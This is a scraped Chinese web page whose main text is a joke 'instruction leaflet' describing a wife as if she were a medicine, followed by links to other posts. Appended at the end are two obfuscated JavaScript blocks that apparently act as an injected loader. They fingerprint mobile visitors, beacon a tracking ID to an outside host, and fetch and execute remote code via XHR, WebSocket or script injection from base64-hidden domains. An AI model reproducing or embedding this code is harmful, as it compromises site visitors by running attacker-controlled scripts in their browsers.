图片载入中

老婆的使用说明书你看清楚了没

特大字】 【大字】 【中字】 【小字

品名】民间俗称老婆,正式场合可称妻子或内人;现亦叫达令。【化学名称】woman

【成分】水、血液和脂肪类碳水化合物,气味幽香。

【理化性质】性质活泼,根据情况可分为一价(嫁)、二价(嫁)、三价(嫁)。。。。n价(嫁)。易溶于蜜语、甜言;在真情、钻石,金钱、豪宅的催化下熔点降低。提醒:难溶于白丁!

【性状】本品为可乐状的凹凸物,表面光洁,涂有各种化妆品、对钻石,铂金有强烈的亲和力;羞涩时产生红移现象;生气产生蓝移(绿移),随时间推移产生黄移,形状会有所改变,但不影响继续使用。

【功能主治】主治单身恐惧症顽疾,对失恋和相思病也有明显效果。好心提醒:世上有N种女人宁死都不能娶!VS坚决不能嫁的四种男人【用法用量】建议一生一片。

【注意事项】本品仅适用于单身之成年男性。服用时需小心谨慎,如药品导致使用者出现耳朵变软(钯耳朵)、惧内、气管炎等现象,则必须马上找相关专业医师咨询,并在医生指导下使用;没有则可继续使用。提醒:多吃有致命的过敏反应,吃2种以上即导致不良的相互作用!

测试一下:你究竟是适合单身还是有个伴?

【规格】通常为45千克至65千克,如出现特殊超重情况,请男人加强锻炼或找健康医生处理。

【贮藏】常温下妥善保存,室内通风处最佳;如在室外,则需避免女性、帅哥成群处。使用期间,尤忌本品夜不归宿。

【包装】各种时装、首饰、手袋,并随季节变化随时更换。

【有效期】视幸福程度而定,最长可达一生;最短,一天也可能失效。【批准文号】正式批准文号见钻戒说明书内页。

【生产企业】老丈母和老丈人。


上一篇:这才不是我想要的命运922

下一篇:优等生小玉的淫变34


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};